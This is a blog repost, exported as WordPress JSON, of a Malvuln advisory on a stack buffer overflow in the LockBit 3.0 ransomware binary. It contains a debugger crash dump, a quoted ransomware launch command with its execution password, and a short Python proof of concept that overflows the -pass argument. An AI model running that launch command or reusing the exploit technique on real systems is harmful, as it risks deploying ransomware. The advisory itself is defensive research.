{"id":26533,"date":"2022-07-04T19:28:33","date_gmt":"2022-07-04T15:28:33","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/167689\/MVID-2022-0620.txt"},"modified":"2022-07-11T14:43:26","modified_gmt":"2022-07-11T10:13:26","slug":"ransom-lockbit-3-0-mvid-2022-0620-buffer-overflow","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/ransom-lockbit-3-0-mvid-2022-0620-buffer-overflow\/","title":{"rendered":"Ransom Lockbit 3.0 MVID-2022-0620 Buffer Overflow"},"content":{"rendered":"<p dir=\"ltr\">Discovery \/ credits: Malvuln (John Page aka hyp3rlinx) (c) 2022<br \/>\nOriginal source: https:\/\/malvuln.com\/advisory\/38745539b71cf201bb502437f891d799.txt<br \/>\nContact: malvuln13@gmail.com<br \/>\nMedia: twitter.com\/malvuln<\/p>\n<p dir=\"ltr\">Threat: Ransom Lockbit 3.0<br \/>\nVulnerability: Local Unicode Buffer Overflow (SEH)<br \/>\nDescription: The ransomware apparently now requires a password to execute as noted by &#8220;@vxunderground&#8221; E.g. &#8220;-pass db66023ab2abcb9957fb01ed50cdfa6a&#8221;, but doesnt properly check bounds for both the -pass and -k arguments. Supplying a long string of characters for either flag will trigger a unicode stack buffer overflow overwriting the ECX register and structured exception handler (SEH).<br \/>\nFamily: Lockbit<br \/>\nType: PE32<br \/>\nMD5: 38745539b71cf201bb502437f891d799<br \/>\nVuln ID: MVID-2022-0620<br \/>\nASLR: False<br \/>\nDEP: True<br \/>\nCFG: False<br \/>\nSafe SEH: False<br \/>\nDisclosure: 07\/03\/2022<\/p>\n<p dir=\"ltr\">Memory Dump:<br \/>\n(b4.1c38): Access violation &#8211; code c0000005 (first\/second chance not available)<br \/>\neax=6bce1634 ebx=00000000 ecx=00410041 edx=77729d70 esi=00000000 edi=00000000<br \/>\neip=a291273d esp=000a12f8 ebp=000a1318 iopl=0 nv up ei pl nz na po nc<br \/>\ncs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202<br \/>\na291273d ?? ???<\/p>\n<p dir=\"ltr\">0:000&gt; .ecxr<br \/>\neax=6bce1634 ebx=00000000 ecx=00410041 edx=77729d70 esi=00000000 edi=00000000<br \/>\neip=a291273d esp=000a12f8 ebp=000a1318 iopl=0 nv up ei pl nz na po nc<br \/>\ncs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202<br \/>\na291273d ?? ???<\/p>\n<p dir=\"ltr\">0:000&gt; !analyze -v<br \/>\n*******************************************************************************<br \/>\n* *<br \/>\n* Exception Analysis *<br \/>\n* *<br \/>\n*******************************************************************************<\/p>\n<p dir=\"ltr\">Failed calling InternetOpenUrl, GLE=12029<\/p>\n<p dir=\"ltr\">FAULTING_IP:<br \/>\nLockBit3_80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce+1b21e<br \/>\n0041b21e f366a5 rep movs word ptr es:[edi],word ptr [esi]\n<p dir=\"ltr\">EXCEPTION_RECORD: 0019f688 &#8212; (.exr 0x19f688)<br \/>\nExceptionAddress: 0041b21e (LockBit3_80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce+0x0001b21e)<br \/>\nExceptionCode: c0000005 (Access violation)<br \/>\nExceptionFlags: 00000000<br \/>\nNumberParameters: 2<br \/>\nParameter[0]: 00000001<br \/>\nParameter[1]: 001a0000<br \/>\nAttempt to write to address 001a0000<\/p>\n<p dir=\"ltr\">PROCESS_NAME: LockBit3_80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce.exe<\/p>\n<p dir=\"ltr\">ERROR_CODE: (NTSTATUS) 0xc0000005 &#8211; The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.<\/p>\n<p dir=\"ltr\">EXCEPTION_CODE: (NTSTATUS) 0xc0000005 &#8211; The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.<\/p>\n<p dir=\"ltr\">EXCEPTION_PARAMETER1: 00000008<\/p>\n<p dir=\"ltr\">EXCEPTION_PARAMETER2: a291273d<\/p>\n<p dir=\"ltr\">WRITE_ADDRESS: a291273d<\/p>\n<p dir=\"ltr\">FOLLOWUP_IP:<br \/>\n+1b21e<br \/>\na291273d ?? ???<\/p>\n<p dir=\"ltr\">FAILED_INSTRUCTION_ADDRESS:<br \/>\n+1b21e<br \/>\na291273d ?? ???<\/p>\n<p dir=\"ltr\">MOD_LIST: &lt;ANALYSIS\/&gt;<\/p>\n<p dir=\"ltr\">NTGLOBALFLAG: 0<\/p>\n<p dir=\"ltr\">APPLICATION_VERIFIER_FLAGS: 0<\/p>\n<p dir=\"ltr\">IP_ON_HEAP: a291273d<br \/>\nThe fault address in not in any loaded module, please check your build&#8217;s rebase<br \/>\nlog at &lt;releasedir&gt;\\bin\\build_logs\\timebuild\\ntrebase.log for module which may<br \/>\ncontain the address if it were loaded.<\/p>\n<p dir=\"ltr\">CONTEXT: 0019f6d8 &#8212; (.cxr 0x19f6d8)<br \/>\neax=00000020 ebx=0019fc00 ecx=0000004a edx=0000029a esi=025724f4 edi=001a0000<br \/>\neip=0041b21e esp=0019fb38 ebp=0019fb48 iopl=0 nv up ei pl zr na pe nc<br \/>\ncs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246<br \/>\nLockBit3_80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce+0x1b21e:<br \/>\n0041b21e f366a5 rep movs word ptr es:[edi],word ptr [esi]\nResetting default scope<\/p>\n<p dir=\"ltr\">ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]\n<p dir=\"ltr\">LAST_CONTROL_TRANSFER: from 0041b26a to 0041b21e<\/p>\n<p dir=\"ltr\">FAULTING_THREAD: ffffffff<\/p>\n<p dir=\"ltr\">DEFAULT_BUCKET_ID: STACKIMMUNE<\/p>\n<p dir=\"ltr\">PRIMARY_PROBLEM_CLASS: STACKIMMUNE<\/p>\n<p dir=\"ltr\">BUGCHECK_STR: APPLICATION_FAULT_STACKIMMUNE_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_00410041<\/p>\n<p dir=\"ltr\">STACK_TEXT:<br \/>\n00000000 00000000 lockbit3+0x0<\/p>\n<p dir=\"ltr\">STACK_COMMAND: .cxr 000000000019F6D8 ; kb ; ** Pseudo Context ** ; kb<\/p>\n<p dir=\"ltr\">SYMBOL_NAME: lockbit3<\/p>\n<p dir=\"ltr\">FOLLOWUP_NAME: MachineOwner<\/p>\n<p dir=\"ltr\">MODULE_NAME: lockbit3<\/p>\n<p dir=\"ltr\">IMAGE_NAME: lockbit3<\/p>\n<p dir=\"ltr\">DEBUG_FLR_IMAGE_TIMESTAMP: 0<\/p>\n<p dir=\"ltr\">FAILURE_BUCKET_ID: STACKIMMUNE_c0000005_lockbit3!Unloaded<\/p>\n<p dir=\"ltr\">BUCKET_ID: APPLICATION_FAULT_STACKIMMUNE_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_00410041_BAD_IP_lockbit3<\/p>\n<p dir=\"ltr\">Followup: MachineOwner<br \/>\n&#8212;&#8212;&#8212;<\/p>\n<p dir=\"ltr\">0:000&gt; !exchain<br \/>\n0019f59c: ntdll!ExecuteHandler2+44 (77729d70)<br \/>\n0019ffcc: LockBit3_80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce+10041 (00410041)<br \/>\nInvalid exception stack at 00410041<\/p>\n<p dir=\"ltr\">Exploit\/PoC:<br \/>\nfrom subprocess import Popen<\/p>\n<p dir=\"ltr\">#Discovery\/Credits: malvuln<br \/>\n#Vulnerability: Unicode Buffer Overflow (SEH)<br \/>\n#Disclosure: 07\/03\/2022<br \/>\n#Hash: 80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce<br \/>\n#MD5: 38745539b71cf201bb502437f891d799<br \/>\n#================================================================================================<br \/>\n#<br \/>\n#Apparently Lockbit 3.0 &#8211; Lockbit Black (aka LockShit), now requires a password to execute E.g.<br \/>\n#<br \/>\n#vx-underground commented on 2022-07-03 18:55:48 UTC<br \/>\n#<br \/>\n#{04830965-76E6-6A9A-8EE1-6AF7499C1D08}.exe -k LocalServiceNetworkRestricted -pass db66023ab2abcb9957fb01ed50cdfa6a<br \/>\n#<br \/>\n#https:\/\/bazaar.abuse.ch\/sample\/80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce\/<br \/>\n#===============================================================================================<br \/>\n#<br \/>\n#Supplying a long payload of characters for the -pass or -k switches triggers a Buffer Overflow.<br \/>\n#===============================================================================================<\/p>\n<p dir=\"ltr\">TARGET=&#8221;LockBit3_80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce.exe&#8221;<br \/>\nBANNER=&#8221;&#8221;&#8221;<br \/>\n__ __ _____ __ _ __<br \/>\n\/ \/ ____ _____\/ \/__\/ ___\/\/ \/_ (_) \/_<br \/>\n\/ \/ \/ __ \\\/ ___\/ \/\/_\/\\__ \\\/ __ \\\/ \/ __\/<br \/>\n\/ \/___\/ \/_\/ \/ \/__\/ ,&lt; ___\/ \/ \/ \/ \/ \/ \/_<br \/>\n\/_____\/\\____\/\\___\/_\/|_|\/____\/_\/ \/_\/_\/\\__\/ 3.0<\/p>\n<p dir=\"ltr\">Unicode Buffer Overflow<br \/>\nBy malvuln<br \/>\n&#8220;&#8221;&#8221;<\/p>\n<p dir=\"ltr\">PAYLOAD=&#8221;A&#8221;*666<\/p>\n<p dir=\"ltr\">def doit():<br \/>\nPopen([TARGET, &#8220;-pass&#8221;, PAYLOAD], shell=True)<\/p>\n<p dir=\"ltr\">if __name__==&#8221;__main__&#8221;:<br \/>\nprint(BANNER)<br \/>\ndoit()<\/p>\n<p dir=\"ltr\">Disclaimer: The information contained within this advisory is supplied &#8220;as-is&#8221; with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Discovery \/ credits: Malvuln (John Page aka hyp3rlinx) (c) 2022 Original source: https:\/\/malvuln.com\/advisory\/38745539b71cf201bb502437f891d799.txt Contact: malvuln13@gmail.com Media: twitter.com\/malvuln Threat: Ransom Lockbit 3.0 Vulnerability: Local Unicode Buffer Overflow (SEH) Description: The ransomware apparently now requires a password to execute as noted by &#8220;@vxunderground&#8221; E.g. &#8220;-pass db66023ab2abcb9957fb01ed50cdfa6a&#8221;, but doesnt properly check bounds for both the -pass and -k &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-26533","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/26533","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=26533"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/26533\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=26533"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=26533"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=26533"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}